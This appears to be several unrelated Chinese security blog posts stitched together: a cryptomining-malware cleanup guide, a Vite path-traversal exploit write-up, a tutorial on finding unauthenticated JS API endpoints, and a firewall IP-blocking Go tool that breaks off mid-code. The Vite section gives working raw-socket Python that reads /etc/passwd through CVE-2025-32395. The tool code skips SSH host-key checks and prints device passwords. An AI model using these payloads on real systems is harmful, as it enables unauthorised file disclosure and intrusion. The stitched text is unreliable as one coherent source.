方法1:通过top -c命令,可以看到可疑进程的完整目录信息和参数,从而定位到挖矿文件及目录

image-20220222145155602

方法2:通过以下命令,定位到挖矿文件位置

lsof -p pid

image-20220222145556700

systemctl status pid`

image-20220222145707526

ls -al /proc/`pid`/exe

image-20220222153053710

2.1.3.4 样本提取

一般在挖矿程序文件目录中可找到对应的配置文件和信息,通过矿池地址和钱包地址能够进一步确认挖矿类型和挖矿程序的基本情况。

若无相应配置文件,可通过云沙箱或专家对其进行深层次的分析。

[0x03 样本分析](#0x03 样本分析)

image-20220222153152087

2.1.3.5 查杀根除
  • 双向封禁矿池地址

防止挖矿木马继续外连,并且防止挖矿木马进行内网传播。

  • 删除计划任务

crontab -e 删除对应的恶意计划任务

删除存在以下目录的恶意计划任务

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
  • 删除启动项

删除/etc/rc.local与/etc/rc[0到6].d文件中恶意启动项

  • 删除服务

Linux中服务清除:sudo update-rc.d [服务名称] remove

  • 进程查杀

查看是否存在子进程

ps ajfx
systemctl status

若无子进程,直接kill -9 pid

若有子进程,使用kill -9 -pid 杀死进程组

  • 删除文件

查看文件占用

lsof `文件名`

image-20220222154208994

若在进程查杀后仍有文件占用,则该进程可能是恶意进程,需继续重复之前步骤再次排查。

无进程占用,直接使用rm命令删除恶意文件

rm -rf [恶意文件绝对路径]

Tips:

若出现 rm: cannot remove ‘文件名’: Operation not permitted. 错误,则攻击者可能给文件添加了 ai 的权限导致文件无法删除,可使用 lsattr 查看文件权限:

lsattr [文件名]

使用 chattr -i [文件名]chattr -a [文件名] 修改文件权限,再用 rm 命令删除:

chattr -i [文件名]
chattr -a [文件名]
rm -rf [文件名]

image-20220222155248847

2.2 其他事件处理流程

若非挖矿事件,按照其他事件处理流程处置。

0x03 样本分析

3.1 备份挖矿程序

对于发现的恶意文件和目录应及时备份,为后续分析做准备。

Tips: 对于同系统文件一定要打包后再备份,防止发生二次感染。

a、Linux:

  • 使用 scp 命令:
scp -P 22 user@127.0.0.1:/usr/local/target /home/aaa

其中:

  • -P 指定SSH端口

  • 从远程服务器将 target 文件下载到本地的 /home/aaa

  • 使用 Xshell、FinalShell、MobaXterm 等集成工具。

b、Windows:

  • 通过 RDP 3389 复制粘贴。
  • 使用向日葵、ToDesk 等远程工具。
  • 使用SMB共享服务传输。
  • ...

3.2 云沙箱分析

对可疑文件可先通过云沙箱在线分析,常用的云沙箱包括:

3.3 专家分析

对云沙箱无法分析或分析不全时,可请求安全专家进行分析。

0x04 溯源攻击

溯源攻击是挖矿病毒应急响应的重要环节,以下是常规溯源流程:

  1. 确定攻击入口:


    • 检查系统日志、安全设备日志(如防火墙、IDS/IPS等)。
    • 分析网络流量,定位可疑IP地址或域名。
    • 检查系统是否存在未修复的漏洞或弱密码。
  2. 分析攻击手法:


    • 通过样本分析确定挖矿病毒的类型和传播方式。
    • 检查是否有横向移动的痕迹,如内网扫描、横向传播等。
  3. 确定攻击者身份:


    • 通过IP地址、域名等线索,结合威胁情报,确定攻击者身份。
    • 分析攻击者的C2服务器,追踪其活动轨迹。
  4. 总结攻击过程:


    • 绘制攻击流程图,还原攻击者入侵路径。
    • 撰写溯源报告,记录攻击细节和处置过程。

0x05 附录

5.1 常见挖矿病毒类型

| 类型 | 特征 |
| -------------- | ------------------------------------------------------------ |
| XMRig | 使用CPU挖矿,常见于Linux系统,配置文件通常为 config.json。 |
| MinerGate | 支持多种加密货币,常见于Windows系统,会创建大量进程。 |
| Claymore | 主要用于以太坊挖矿,常见于GPU挖矿,会生成大量日志文件。 |
| 门罗币挖矿病毒 | 使用XMRig或类似工具,常见于Web服务器,通过Web漏洞传播。 |
| 蠕虫类挖矿病毒 | 具有横向传播能力,通过弱密码或漏洞在内网传播。 |

5.2 常见挖矿病毒传播方式

| 传播方式 | 描述 |
| ------------ | ---------------------------------------------- |
| 弱密码爆破 | 通过SSH、RDP等服务的弱密码进行传播。 |
| Web漏洞利用 | 通过Web应用漏洞(如Struts2、ThinkPHP等)传播。 |
| 恶意邮件 | 通过钓鱼邮件传播,附件中包含挖矿程序。 |
| 横向移动 | 通过内网扫描和漏洞利用,感染其他主机。 |
| 供应链攻击 | 通过第三方软件或更新包传播挖矿病毒。 |

5.3 加固建议

  1. 系统加固:


    • 及时更新系统和软件补丁,修复已知漏洞。
    • 禁用不必要的服务和端口,减少攻击面。
    • 使用强密码策略,避免弱密码。
  2. 网络加固:


    • 部署防火墙和IDS/IPS,监控异常流量。
    • 限制外部访问,仅开放必要的端口和服务。
    • 使用VPN等安全通道访问内网。
  3. 安全监控:


    • 部署安全监控系统,实时监控系统资源使用情况。
    • 定期检查系统日志,发现异常及时处置。
    • 使用威胁情报平台,及时获取最新的攻击信息。
  4. 备份与恢复:


    • 定期备份重要数据,确保数据安全。
    • 制定应急响应预案,确保快速恢复业务。

5.4 参考工具

| 工具名称 | 用途 |
| ----------------------------- | ---------------------------------------- |
| Wireshark | 网络流量分析工具,用于分析异常流量。 |
| Process Explorer | 进程管理工具,用于分析可疑进程。 |
| Sysinternals Suite | 系统分析工具集,用于分析系统行为和进程。 |
| VirusTotal | 在线病毒扫描工具,用于分析可疑文件。 |
| Threat Intelligence Platforms | 威胁情报平台,用于获取最新的攻击信息。 |


以上为清理病毒程序方式,后续还需使用终端杀毒对系统进行全面杀毒及加固,并观察是否还有反复迹象。

一切以挖矿木马不再重启,不存在可疑外连为止。

一 正常发包

刚好最近有个热门的漏洞Vite系列的漏洞,通过该漏洞我们来学习一下
通过我们用python写POC的时候,我们大部分都是利用python的request的模块来进行发包利用的
正常情况下都是这样写的POC

 response = requests.get(url_base + "/@fs/root/vite-project/?/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)

其中我们的路径要是比较正常的时候我们通过request模块发包的时候,我们就是能够正常把这个路径发出去的,我们通过bp抓包验证一下

1698X670/image.png

可以看到bp抓到的路径和我们想发出去的路径是一样的,接下来我们假设我们需要发送的路径是这样的

    response = requests.get(url_base + "/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)

再次使用request模块发包的时候,用bp抓包看下

1701X696/image.png


二 进阶发包技巧

我们在bp中抓到的包的路径就是变成了"/etc/passwd?import&?raw","/../../"在requests中会被吞噬掉,导致我们无法完成利用,这也是在写POC中经常不注意到的一个点,明明手工利用的是时候可以利用,怎么写脚本的时候不行呢,这种时候就可以bp抓包看看想要发送的数据包是不是跟抓到的一样啦。像这种利用的路径,我们还是得用python来实现时怎么实现呢,干货来了

    check_url=url_base + "/../../../../../etc/passwd"
    s = requests.Session()
    r = requests.Request(method='GET', url=check_url)
    prep = r.prepare()
    prep.url = check_url
    result = s.send(prep, verify=False, timeout=10,)
    print result.text

注意别使用bp代理抓包,经过bp后发送出去的包也是会被吞噬掉“/../../",我们直接通过wireshark捕获流量验证一下

1660X603/image.png

可以看到wireshark发包是能正常刚才的方法把这个路径发送出去的"/../../../../../etc/passwd"

而正常的request模块发包模块则变成了"/etc/passwd?import&?raw"

三 高阶发包技巧

接下来我们来看这个漏洞Vite 文件读取漏洞(CVE-2025-32395)
看官方的POC是这种形式的


"/@fs/root/vite-project/#/../../../../../etc/passwd"

路径中带了#,我们用刚才的两种方式发包测试一下

    方式1:
    lin_response = requests.get(url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd", proxies=proxies,verify=False,headers=headers)
    方式2:
    check_url=url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd"
    s = requests.session()
    r = requests.Request(method='GET', url=check_url)
    prep = r.prepare()
    prep.url = check_url
    result = s.send(prep, verify=False, timeout=10,proxies=proxies)
    print result.text

通过bp代理和wireshark抓包看下,抓到的包的路径都变成了/@fs/root/vite-project,"/#/../../../../../etc/passwd"这个路径都丢失了,这是因为根据 RFC 3986 标准,# 在 URL 中定义为 片段标识符(Fragment),浏览器和 HTTP 客户端库(如 requests)会默认将其后的内容截断,不会发送到服务端,这意味着:若 # 不编码,其后的路径永远无法到达服务端。所以这个无法通过requests相关脚本来实现

876X655/image.png

2140X373/image.png

接下来就得使用我们的最后一个终极大法了,绕过 HTTP 协议限制,使用原始 Socket 控制:直接通过 socket 库发送字节流,避免高级 HTTP 库(如 urllib2 或 requests)自动处理 #

通过wireshark抓包,看下我们的路径已经完整发出去了,服务器也能完成处理

2401X357/image.png

通过回显,我们也能看到漏洞能完成利用

1288X432/image.png

关键代码如下

    import socket
    from urlparse import urlsplit
    parsed_url = urlsplit(url_base)
    netloc = parsed_url.netloc
    paths = ["/@fs/root/vite-project/#/../../../../../etc/passwd"]
    if ':' in netloc:
        host, port = netloc.split(':', 1)
        port = int(port)
    else:
        host = netloc
        # 根据协议设置默认端口
        if parsed_url.scheme == 'http':
            port = 80
        elif parsed_url.scheme == 'https':
            port = 443
        else:
            port = None
    for path in paths:
        request = (
            "GET {path} HTTP/1.1\r\n"
            "Host: {host}:{port}\r\n"
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\r\n"
            "Connection: close\r\n"
            "\r\n"
        ).format(path=path, host=host,port=port)
        # 发送请求
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.sendall(request.encode())
        # 接收响应
        response = s.recv(4096)
        if "root:x" in response.decode():
            print url_base,path,response.decode()

四 后言

各位还有什么技巧可以分享交流一下的么,大家一起共同进步

0x1 前言

哈喽,师傅们!

这次又来给师傅们分享我的文章心得了呦,这次是给师傅们分享下js未授权漏洞挖掘的一个小技巧的汇总,然后也是会给师傅们分享几个案例,带师傅们更加深刻的理解和看的懂这个js未授权,然后再带师傅们去挖这个漏洞,从怎么挖去带师傅们掌握这个js未授权。

然后特别是给一些不会挖漏洞,然后针对于FindSomething插件工具的使用来做一个分享,让师傅们对呀FindSomething插件的使用更加娴熟,能够更好的利用这个插件,然后让师傅们挖出属于自己的第一个js未授权漏洞!

0x2 js未授权简介

一、什么是未授权?

首先理解什么是未授权漏洞
未授权字面上理解是未获得授权,对于正常的业务来说,有些功能点需要经过登录之后才能进行,那么如果我们通过一些绕过,无需登录也可以完成此类操作,那么便是未授权访问漏洞了。

二、常见的未授权访问漏洞

常见的未授权漏洞一般分为两种:

  1. 组件类的,如js未授权、redis未授权、mongodb未授权等,也是比较常见的。对于此类漏洞,可以理解为不需要登录即可执行里面的功能,所以存在未授权漏洞。
  2. WEB层面的,如某某CMS未授权文件上传、未授权创建账号、findsomething接口拼接未授权访问敏感信息泄露等。因为可以绕过登录限制进行操作,所以存在未授权访问漏洞。

三、浅谈

未授权访问的挖掘不是针对所有网站,这只是一种思路,通过信息收集来实现登录绕过,从而达到未授权。正常来说可以通过抓包修改返回值也可以达到绕过,前提是不知道网站代码的判断情况下,可以尝试猜解返回值。如果网站后端认证做好了,是不会有该漏洞的。

0x3浅谈 js未授权挖掘技巧

一、常规js未授权挖掘

这里就要和师傅们分享下我之前在没有认真研究js未授权的时候,喜欢的一个针对js的一个测试手法。我相信很多师傅应该都是和我一样的思路,就是大家知道且都非常喜欢使用的一个插件findsomething。就是常见的使用findsomething小熊猫头插件打开,然后把里面的泄露的路径进行拼接使用,然后直接拿bp进行POST/GET方法都进行跑一遍,然后再看看有没有什么js路径拼接,然后导致的敏感信息泄露。

然后把插件泄露的js路径保存到一个txt文件夹里面

然后简单的进行GET/POST跑下

然后跑完以后会发现,怎么还是没跑出什么东西来,然后就这样觉得这个js路径很安全,没有漏洞,直接下了

Google插件FindSomething下载链接:https://chromewebstore.google.com/detail/findsomething/kfhniponecokdefffkpagipffdefeldb

二、使用findsomething插件工具的目的

为了寻找隐藏的接口

JS中存在一些网址或接口信息,特别是隐藏的一些信息,也就是UI中没有的,这些隐藏的 接口很有可能存在各种常见的漏洞,例如越权,未授权等。

如果我们通过JS中的信息构造出完整的隐藏接口和传参,就有可能发现极其隐蔽的漏洞

三、js未授权挖掘小技巧分享

师傅们来看下下面的这个接口,是不是可以看到存在一个id参数,那么你要是直接把这个复制下来,然后去使用bp跑,是不是再怎么跑都跑不出什么信息泄露

然后还有就是下面的这个js接口,findsomething显示出来的接口,一个?id=xxx的一个参数,像碰到这样的,我们是不是得提前进行一个数据的处理,然后再放到bp去跑接口,才会最大可能性让你找到一些敏感信息泄露的接口,这样就是有些师傅挖不到js未授权的漏洞,但是有些师傅却可以的原因之一了

还有下面的这种情况,就是跑js路径的时候,需要我们注意前面是否有前缀

像上面的存在一个#的路径,建议是师傅们单独把这些js路径给拿出来,进行一个手动拼接尝试看看未授权,或者说要爆破,那也得把这个/#/这个给带上,然后再进行一个爆破,下面简单来拿百度的给师傅们看看这个案例

下面可以把findsomething的url复制到一个txt文本里面,然后进行替换如下:

四、查询接口的未授权访问测试奇招

就是我们平常在测试漏洞的时候,有时候不传参,或者在参数置空,发包的时候,对方服务器返回的请求是500的时候,那么有时候使用下面的参数进行一个传参,把这个给加上去,那么有时候会有一个不一样的效果,有时候就能返回一些高权限才可以看的内容

{
"pageNum":"1",
"pageSize":"100"
}


{
"pageNo"1",
"pageSize":100,
}

五、HAE匹配规则

下面是我给师傅们整理的HAE正则匹配,直接使用bp中的hae插件,把下面的规则直接导入到bp插件hae中,或者编辑Rules.yml文件

type:"POST"|type:"GET"|post("|get("|ashx?|ashx|ur1:|ur1:"|ur1:|path:|path:|path:|action?|data|params

0x4 总结

针对js未授权漏洞的一个分享呢就到这里文章就结束了,希望这篇文章对师傅们有帮助。

师傅们在挖掘企业src或者edu过程中,这个js未授权和使用FindSomething插件使用去挖掘漏洞来讲,特别是针对小白师傅们是非常友好的,也是蛮建议师傅们看完我的文章然后去进行一个js未授权的一个漏洞挖掘,这样可以让师傅们更加掌握这个技能,也是希望师傅们偶尔挖挖漏洞,然后赚点赏金什么的。

文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!

前言

最近刚结束了一个HVV蓝队,比较头疼,甲方内部设备简直太多了,目前各个大厂都是这么玩儿的,本地MSS不好好适配不同厂家的产品,弹起来适配的问题最好的借口就是需要开发介入调整适配,不单单是在适配不同厂商的防火墙上扯皮还是在适配不同厂商探针上同样扯皮,有这扯皮功夫还不如直接写个工具一键封禁得了。其实就目前防守状态来讲,通过告警事件联动不同区域的防火墙这种技术手段太简单了,本地MSS在态感的基础上优化剧本再加上GPT介入研判已经基本上可以解决绝大部分的告警攻击了,可能目前唯一的问题可能就是出现在厂商态感底层告警逻辑上,目前探针获取的流量也只能获取非SSL流量,不做SSL卸载或者SSL证书解密的话一部分告警是无法获取的,另外常见的横向行为和隐藏流量也只能基于厂商设备底层逻辑或者剧本编排。

这次的工具功能是封禁共享情报的ip,或者是基于不同边界的不同品牌的防火墙和WAF的封禁。

下载地址:

功能介绍

  • 支持多种防火墙设备统一管理(H3C,QAX,SXF,山石,K01,DP等)
  • 网防K01提供黑名单批量查询、添加、删除功能
  • 支持 IP 规则化、过滤、清洗等功能
  • 界面简洁,操作便捷,可以选择性的根据不同的情报源头选择不同边界的设备进行封禁
  • 关于产品型号可支持大部分型号,除网防K01外其它产品封禁实现原理是基于添加地址到地址簿,封禁策略需手动处理

工具介绍和代码逻辑

配置文件

配置文件存放在config/config.json中,需要提前配置json文件,负责无法使用程序。这里关于config的文件内容务必按照格式规则设置,否则无法解析。

DP防火墙

DP防火墙的登录方式是telnet,逻辑是通过添加ip地址进入地址簿,添加ip地址

package devices

import (
	"BT_supertoolsV2/utils"
	"fmt"
	"strings"
	"time"

	"github.com/reiver/go-telnet"
)

type DPConfig struct {
	Name         string `json:"name"`
	DeviceIP     string `json:"device_ip"`
	TelnetPort   int    `json:"telnet_port"`
	Username     string `json:"username"`
	Password     string `json:"password"`
	AddressGroup string `json:"address_group"`
	Type         string `json:"type"`
}

func AddIPsToDP(cfg DPConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 DP 设备 %s ===\n", cfg.DeviceIP))

	// IP 规则化处理
	normalizedIPs := utils.NormalizeIP(strings.Join(ips, "\n"))
	if normalizedIPs == "" {
		return "没有有效的 IP 地址!"
	}
	ipList := strings.Split(normalizedIPs, "\n")

	// 连接 Telnet
	address := fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.TelnetPort)
	conn, err := telnet.DialTo(address)
	if err != nil {
		return fmt.Sprintf("Telnet 连接失败: %v\n", err)
	}
	defer conn.Close()

	// 封装发送命令函数
	send := func(cmd string) {
		conn.Write([]byte(cmd + "\n"))
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[发送] %s\n", cmd))
	}

	// 开始发送指令:用户名 -> 密码 -> conf -> 封禁命令 -> exit
	send(cfg.Username)
	send(cfg.Password)
	send("conf")
	for _, ip := range ipList {
		send(fmt.Sprintf("address-object %s %s/32", cfg.AddressGroup, ip))
	}
	send("exit")

	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

这里没有直接使用回显显示状态,没有监听服务器回显状态再输入命令,具体使用该方式是新增一个地址簿,再策略位置设置封禁策略,引用添加的地址簿即可。界面效果

H3c防火墙

采用ssh登录使用命令操作

package devices

import (
	"fmt"
	"strings"
	"time"

	"golang.org/x/crypto/ssh"
)

func AddIPsToH3C(cfg H3CConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 H3C 设备 %s ===\n\n", cfg.DeviceIP))

	config := &ssh.ClientConfig{
		User: cfg.Username,
		Auth: []ssh.AuthMethod{
			ssh.Password(cfg.Password),
		},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
		Timeout:         10 * time.Second,
	}

	client, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.SSHPort), config)
	if err != nil {
		return fmt.Sprintf("SSH连接失败: %v\n", err)
	}
	defer client.Close()

	session, err := client.NewSession()
	if err != nil {
		return fmt.Sprintf("创建会话失败: %v\n", err)
	}
	defer session.Close()

	stdin, err := session.StdinPipe()
	if err != nil {
		return fmt.Sprintf("获取输入管道失败: %v\n", err)
	}

	modes := ssh.TerminalModes{
		ssh.ECHO:          0,
		ssh.TTY_OP_ISPEED: 14400,
		ssh.TTY_OP_OSPEED: 14400,
	}
	if err := session.RequestPty("xterm", 80, 40, modes); err != nil {
		return fmt.Sprintf("设置终端失败: %v\n", err)
	}
	if err := session.Shell(); err != nil {
		return fmt.Sprintf("启动 shell 失败: %v\n", err)
	}

	commands := []string{
		"system-view",
		fmt.Sprintf("object-group ip  %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network host address %s", ip))
	}
	commands = append(commands, "exit")

	for _, cmd := range commands {
		fmt.Fprintf(stdin, "%s\n", cmd)
		time.Sleep(300 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[执行] %s\n", cmd))
	}
	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

这里采用了监听回显,核心代码是

commands := []string{
		"system-view",
		fmt.Sprintf("object-group ip  %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network host address %s", ip))
	}
	commands = append(commands, "exit")

当然这里可以增加优化,代码内关于ip地址的添加以及删除等操作都可以做,工具后期可以依托命令功能增加多个模块化设计,当然为了降低操作风险的话,这里黑名单封禁的操作足够使用了。

山石防火墙

山石登录方式是telnet登录使用命令操作

import (
	"BT_supertoolsV2/utils"
	"fmt"
	"strings"
	"time"

	"github.com/reiver/go-telnet"
)

type HSConfig struct {
	Name         string `json:"name"`
	DeviceIP     string `json:"device_ip"`
	TelnetPort   int    `json:"telnet_port"`
	Username     string `json:"username"`
	Password     string `json:"password"`
	AddressGroup string `json:"address_group"`
	Type         string `json:"type"`
}

func AddIPsToHillstone(cfg HSConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 Hillstone 设备 %s ===\n", cfg.DeviceIP))

	// IP 规则化处理
	normalizedIPs := utils.NormalizeIP(strings.Join(ips, "\n"))
	if normalizedIPs == "" {
		return "没有有效的 IP 地址!"
	}
	ipList := strings.Split(normalizedIPs, "\n")

	// 连接 Telnet
	address := fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.TelnetPort)
	conn, err := telnet.DialTo(address)
	if err != nil {
		return fmt.Sprintf("Telnet 连接失败: %v\n", err)
	}
	defer conn.Close()

	// 封装发送命令函数
	send := func(cmd string) {
		conn.Write([]byte(cmd + "\n"))
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[发送] %s\n", cmd))
	}

	// 开始发送指令:用户名 -> 密码 -> conf -> 封禁命令 -> exit
	send(cfg.Username)
	send(cfg.Password)
	send("conf")
	for _, ip := range ipList {
		send(fmt.Sprintf("address-object %s %s/32", cfg.AddressGroup, ip))
	}
	send("exit")

	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

山石防火墙的命令基本和华三防火墙的命令基本一致,目前基本上可以支持大多数版本型号的防火墙,使用前可以做测试。

网盾K01

网盾K01的话这里采用的是关于api的利用,目前关于网盾K01的黑名单添加的模式是和防火墙不一致的,可以采用接口的方式增加。目前代码中关于黑名单添加的事件设置的是3600小时。

// 批量封禁
func AddBlacklist(devices []K01Device, ips []string, output *widget.Entry) {
	for _, device := range devices {
		appendOutput(output, fmt.Sprintf("🔑 正在登录设备 [https://%s]...", device.IP))

		// 登录并获取 Token
		url := fmt.Sprintf("https://%s", device.IP)
		token := Login(url, device.Username, device.Password, output, device.Name)
		if token == "" {
			appendOutput(output, fmt.Sprintf("❌ 登录失败: %s", device.Name))
			continue
		}

		// 逐个 IP 添加到黑名单
		for _, ip := range ips {
			// 如果 IP 地址没有 CIDR 后缀,添加 "/32"
			if !strings.Contains(ip, "/") {
				ip += "/32"
			}

			// 打印调试日志,确认每个 IP 地址
			appendOutput(output, fmt.Sprintf("🔍 封禁 IP: %s", ip))

			// 准备请求 payload
			payload := map[string]interface{}{
				"color":       0,
				"device_mask": []int{224},
				"items": []map[string]interface{}{
					{
						"type":        0,
						"ip":          ip, // 这里单独封禁每个 IP 地址
						"timeout":     336,
						"time_type":   "3600",
						"device_mask": []int{224},
						"comment":     "自动封禁",
					},
				},
				"method": "add",
			}

			// 打印调试日志,确认请求 Payload
			payloadBytes, _ := json.Marshal(payload)
			// appendOutput(output, fmt.Sprintf("🔍 请求 Payload: %s", string(payloadBytes)))

			// 请求封禁
			req, err := http.NewRequest("POST", url+"/api/v1/security/iplist/save", bytes.NewBuffer(payloadBytes))
			if err != nil {
				appendOutput(output, fmt.Sprintf("❌ 创建封禁请求失败: %s", err.Error()))
				continue
			}
			req.Header.Set("Authorization", "Bearer "+token)
			req.Header.Set("Content-Type", "application/json")

			// 执行请求
			resp, err := insecureClient.Do(req)
			if err != nil {
				appendOutput(output, fmt.Sprintf("❌ 封禁请求失败: %s", err.Error()))
				continue
			}
			defer resp.Body.Close()

			// // 打印调试日志,确认响应代码
			// appendOutput(output, fmt.Sprintf("🔍 响应状态: %s", resp.Status))

			// 解析响应
			body, _ := ioutil.ReadAll(resp.Body)
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				appendOutput(output, fmt.Sprintf("❌ 解析封禁响应失败: %s", err.Error()))
				continue
			}

			// // 打印调试日志,确认响应结果
			// appendOutput(output, fmt.Sprintf("🔍 响应结果: %v", result))

			// 根据结果显示成功或失败
			if success, ok := result["success"].(bool); ok && success {
				appendOutput(output, fmt.Sprintf("✅ 添加成功: %s", ip))
			} else {
				appendOutput(output, fmt.Sprintf("❌ 添加失败: %v", result["msg"]))
			}
		}
	}
}

// DeleteBlacklist 删除 IP 从黑名单
func DeleteBlacklist(devices []K01Device, selected []int, ipList []string, outputBox *widget.Entry) {
	for _, idx := range selected {
		device := devices[idx] // 获取当前选择的设备
		url := fmt.Sprintf("https://%s", device.IP)

		// 输出正在登录设备信息
		appendOutput(outputBox, fmt.Sprintf("🔄 正在登录设备【%s】...", device.Name))

		// 登录设备,获取 token
		token := Login(url, device.Username, device.Password, outputBox, device.Name)
		if token == "" {
			appendOutput(outputBox, fmt.Sprintf("❌ 设备【%s】登录失败,无法删除黑名单", device.Name))
			continue
		}

		// 遍历 IP 列表,直接进行删除操作
		for _, ip := range ipList {
			apiUrl := fmt.Sprintf("%s/api/v1/security/iplist/save", url)
			payload := fmt.Sprintf(`{
				"color": 0,
				"items": [{"id": "%s/32;0;0", "type": 0, "ip": "%s/32", "device_mask": [224]}],
				"method": "delete"
			}`, ip, ip)

			// 创建请求
			req, err := http.NewRequest("POST", apiUrl, bytes.NewBuffer([]byte(payload)))
			if err != nil {
				appendOutput(outputBox, "❌ 创建删除请求失败: "+err.Error())
				continue
			}
			req.Header.Set("Authorization", "Bearer "+token)
			req.Header.Set("Content-Type", "application/json")

			// 发送请求
			resp, err := insecureClient.Do(req)
			if err != nil {
				appendOutput(outputBox, "❌ 删除请求失败: "+err.Error())
				continue
			}
			defer resp.Body.Close()

			// 读取响应
			body, err := ioutil.ReadAll(resp.Body)
			if err != nil {
				appendOutput(outputBox, "❌ 读取删除响应失败: "+err.Error())
				continue
			}

			// 解析响应
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				appendOutput(outputBox, "❌ 解析删除响应失败: "+err.Error())
				continue
			}

			// 检查删除是否成功
			if success, ok := result["success"].(bool); ok && success {
				appendOutput(outputBox, fmt.Sprintf("✅ 删除成功,IP: %s", ip))
			} else {
				// 如果失败,输出错误信息
				if msg, ok := result["msg"].(string); ok {
					appendOutput(outputBox, fmt.Sprintf("❌ 删除失败: %s", msg))
				} else {
					appendOutput(outputBox, "❌ 删除失败,未知错误")
				}
			}
		}
	}

关于api的调用的话是有其自己的参数规则的,因为认证方式是https,所以关于身份认证的话需要忽略ssl证书。因为考虑到删除函数的逻辑需先查询要封禁的黑名单是否在黑名单列表,所以这里就执行的是直接删除,否则就删除失败,但是对于功能性的查询模块的功能是有的,由于网盾k01的产品特性,一点发现全网阻断,所以这里基本上用不到删除黑名单的功能。

QAX网神防火墙

网神联动利用的是ssh登录执行命令,所以这里权限也相对来说比较大,对于蓝队来讲不建议增加其它代码功能,原理也是利用策略引用地址簿进行封禁

func AddIPsToQAX(cfg QAXConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置奇安信设备 %s ===\n\n", cfg.DeviceIP))

	config := &ssh.ClientConfig{
		User: cfg.Username,
		Auth: []ssh.AuthMethod{
			ssh.Password(cfg.Password),
		},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
		Timeout:         15 * time.Second,
	}

	client, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.SSHPort), config)
	if err != nil {
		return fmt.Sprintf("SSH连接失败: %v\n", err)
	}
	defer client.Close()

	session, err := client.NewSession()
	if err != nil {
		return fmt.Sprintf("创建会话失败: %v\n", err)
	}
	defer session.Close()

	stdin, err := session.StdinPipe()
	if err != nil {
		return fmt.Sprintf("获取输入管道失败: %v\n", err)
	}

	modes := ssh.TerminalModes{
		ssh.ECHO:          0,
		ssh.TTY_OP_ISPEED: 14400,
		ssh.TTY_OP_OSPEED: 14400,
	}
	if err := session.RequestPty("xterm", 80, 40, modes); err != nil {
		return fmt.Sprintf("设置终端失败: %v\n", err)
	}
	if err := session.Shell(); err != nil {
		return fmt.Sprintf("启动shell失败: %v\n", err)
	}

	commands := []string{
		"config terminal",
		fmt.Sprintf("object address %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network %s 32", ip))
	}
	commands = append(commands, "exit")

	for _, cmd := range commands {
		fmt.Fprintf(stdin, "%s\n", cmd)
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[执行] %s\n", cmd))
	}
	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

向地址簿中添加ip地址核心代码

commands := []string{
	"config terminal",
	fmt.Sprintf("object address %s", cfg.AddressGroup),
}
for _, ip := range ips {
	commands = append(commands, fmt.Sprintf("network %s 32", ip))
}
commands = append(commands, "exit")

目前我也是查询了多款网神防火墙的手册,关于地址簿添加这块儿的命令版本是没有变化的,基本上支持大多数版本型号。

SXF_AF和WAF

这里SXF的设备是有两种模式可供选择的,但是目前SXF的ssh登录一般是由两段密码组成还有可能经常性的修改,所以这里使用的API的方式向地址簿中添加要封禁的IP地址,但是这里的话,策略务必要配置正确。

// 新增的结构体,用于表示包含 devices 字段的 JSON 数据结构
type DeviceList struct {
	Devices []SXFDevice `json:"devices"`
}

// 登录响应结构体
type loginResponse struct {
	Code int `json:"code"`
	Data struct {
		LoginResult struct {
			Token string `json:"token"`
		} `json:"loginResult"`
	} `json:"data"`
	Message string `json:"message"`
}

// 添加 IP 请求结构体
type ipRange struct {
	Start string `json:"start"`
}

type addIPRequest struct {
	IPRanges []ipRange `json:"ipRanges"`
}

// ✅ 防冲突:明确为 SXF 的登录函数
// 登录获取 token
func SXFLogin(device SXFDevice) (string, error) {
	// 打印设备信息,确保 IP、用户名和密码正确
	fmt.Printf("设备信息: IP=%s, Username=%s, Password=%s\n", device.IP, device.Username, device.Password)
	url := fmt.Sprintf("https://%s/api/v1/namespaces/public/login", device.IP)

	payload := map[string]string{
		"name":     device.Username,
		"password": device.Password,
	}
	jsonData, _ := json.Marshal(payload)

	client := &http.Client{
